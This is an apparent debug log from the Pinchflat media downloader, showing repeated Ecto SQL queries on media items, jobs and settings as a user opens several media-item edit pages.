15:42:36.731 [debug] QUERY OK source="media_items" db=2.5ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:42:36.731 [debug] QUERY OK source="tasks" db=0.1ms idle=7.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:42:36.732 [info] Sent 200 in 11ms 15:42:37.737 [info] GET /sources/3/media/6484/edit 15:42:37.737 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6484", "source_id" => "3"} Pipelines: [:browser] 15:42:37.737 [debug] QUERY OK source="media_items" db=0.1ms idle=1012.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6484] 15:42:37.738 [debug] QUERY OK source="settings" db=0.0ms idle=1009.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:37.738 [debug] QUERY OK source="settings" db=0.0ms idle=1007.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:37.738 [debug] QUERY OK source="settings" db=0.0ms idle=1006.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:37.738 [info] Sent 200 in 1ms 15:42:39.491 [info] GET /sources/3/media/6496/edit 15:42:39.491 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6496", "source_id" => "3"} Pipelines: [:browser] 15:42:39.491 [debug] QUERY OK source="media_items" db=0.1ms idle=688.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6496] 15:42:39.491 [debug] QUERY OK source="settings" db=0.1ms idle=552.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:39.492 [debug] QUERY OK source="settings" db=0.0ms idle=552.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:39.492 [debug] QUERY OK source="settings" db=0.0ms idle=552.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:39.492 [info] Sent 200 in 1ms 15:42:41.180 [info] GET /sources/2/media/6130/edit 15:42:41.180 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6130", "source_id" => "2"} Pipelines: [:browser] 15:42:41.180 [debug] QUERY OK source="media_items" db=0.2ms idle=375.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6130] 15:42:41.180 [debug] QUERY OK source="settings" db=0.0ms idle=241.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:41.181 [debug] QUERY OK source="settings" db=0.0ms idle=241.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:41.181 [debug] QUERY OK source="settings" db=0.0ms idle=241.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:41.181 [info] Sent 200 in 1ms 15:42:42.595 [info] GET /sources/2/media/6123/edit 15:42:42.595 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6123", "source_id" => "2"} Pipelines: [:browser] 15:42:42.595 [debug] QUERY OK source="media_items" db=0.1ms idle=1414.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6123] 15:42:42.595 [debug] QUERY OK source="settings" db=0.0ms idle=1414.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:42.596 [debug] QUERY OK source="settings" db=0.0ms idle=1414.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:42.596 [debug] QUERY OK source="settings" db=0.0ms idle=1414.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:42.596 [info] Sent 200 in 1ms 15:42:43.879 [info] GET /sources/2/media/6113/edit 15:42:43.879 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6113", "source_id" => "2"} Pipelines: [:browser] 15:42:43.880 [debug] QUERY OK source="media_items" db=0.1ms idle=1283.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6113] 15:42:43.880 [debug] QUERY OK source="settings" db=0.0ms idle=1284.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:43.880 [debug] QUERY OK source="settings" db=0.0ms idle=1283.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:43.880 [debug] QUERY OK source="settings" db=0.0ms idle=1073.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:43.881 [info] Sent 200 in 1ms 15:42:45.050 [info] GET /sources/3/media/6490/edit 15:42:45.050 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6490", "source_id" => "3"} Pipelines: [:browser] 15:42:45.051 [debug] QUERY OK source="media_items" db=0.1ms idle=241.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6490] 15:42:45.051 [debug] QUERY OK source="settings" db=0.0ms idle=111.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:45.051 [debug] QUERY OK source="settings" db=0.0ms idle=111.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:45.051 [debug] QUERY OK source="settings" db=0.0ms idle=111.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:45.052 [info] Sent 200 in 1ms 15:42:46.168 [info] GET /sources/1/media/6108/edit 15:42:46.169 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6108", "source_id" => "1"} Pipelines: [:browser] 15:42:46.169 [debug] QUERY OK source="media_items" db=0.1ms idle=1118.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6108] 15:42:46.169 [debug] QUERY OK source="settings" db=0.0ms idle=1118.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:46.169 [debug] QUERY OK source="settings" db=0.0ms idle=1118.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:46.169 [debug] QUERY OK source="settings" db=0.0ms idle=1118.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:46.170 [info] Sent 200 in 1ms 15:42:47.189 [info] GET /sources/2/media/6124/edit 15:42:47.189 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6124", "source_id" => "2"} Pipelines: [:browser] 15:42:47.189 [debug] QUERY OK source="media_items" db=0.0ms idle=1020.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6124] 15:42:47.189 [debug] QUERY OK source="settings" db=0.0ms idle=1020.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:47.189 [debug] QUERY OK source="settings" db=0.0ms idle=1020.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:47.190 [debug] QUERY OK source="settings" db=0.0ms idle=1020.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:47.190 [info] Sent 200 in 1ms 15:42:48.114 [info] GET /sources/2/media/6117/edit 15:42:48.114 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6117", "source_id" => "2"} Pipelines: [:browser] 15:42:48.114 [debug] QUERY OK source="media_items" db=0.1ms idle=925.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6117] 15:42:48.115 [debug] QUERY OK source="settings" db=0.0ms idle=925.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:48.115 [debug] QUERY OK source="settings" db=0.0ms idle=925.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:48.115 [debug] QUERY OK source="settings" db=0.0ms idle=925.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:48.115 [info] Sent 200 in 1ms 15:42:48.881 [info] GET /sources/3/media/6494/edit 15:42:48.881 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6494", "source_id" => "3"} Pipelines: [:browser] 15:42:48.882 [debug] QUERY OK source="media_items" db=0.0ms idle=766.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6494] 15:42:48.882 [debug] QUERY OK source="settings" db=0.0ms idle=766.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:48.882 [debug] QUERY OK source="settings" db=0.0ms idle=766.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:48.882 [debug] QUERY OK source="settings" db=0.0ms idle=766.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:48.882 [info] Sent 200 in 1ms 15:42:49.552 [info] GET /sources/3/media/6483/edit 15:42:49.553 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6483", "source_id" => "3"} Pipelines: [:browser] 15:42:49.553 [debug] QUERY OK source="media_items" db=0.1ms idle=739.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6483] 15:42:49.553 [debug] QUERY OK source="settings" db=0.0ms idle=671.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:49.553 [debug] QUERY OK source="settings" db=0.0ms idle=671.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:49.553 [debug] QUERY OK source="settings" db=0.0ms idle=671.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:49.554 [info] Sent 200 in 1ms 15:42:50.216 [info] GET /sources/1/media/6107/edit 15:42:50.216 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6107", "source_id" => "1"} Pipelines: [:browser] 15:42:50.216 [debug] QUERY OK source="media_items" db=0.1ms idle=662.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6107] 15:42:50.216 [debug] QUERY OK source="settings" db=0.0ms idle=663.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:50.216 [debug] QUERY OK source="settings" db=0.0ms idle=662.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:50.216 [debug] QUERY OK source="settings" db=0.0ms idle=662.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:50.217 [info] Sent 200 in 1ms 15:42:50.793 [info] GET /sources/2/media/6128/edit 15:42:50.794 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "6128", "source_id" => "2"} Pipelines: [:browser] 15:42:50.794 [debug] QUERY OK source="media_items" db=0.2ms idle=979.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6128] 15:42:50.794 [debug] QUERY OK source="settings" db=0.0ms idle=578.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:50.794 [debug] QUERY OK source="settings" db=0.0ms idle=578.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:50.795 [debug] QUERY OK source="settings" db=0.0ms idle=578.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 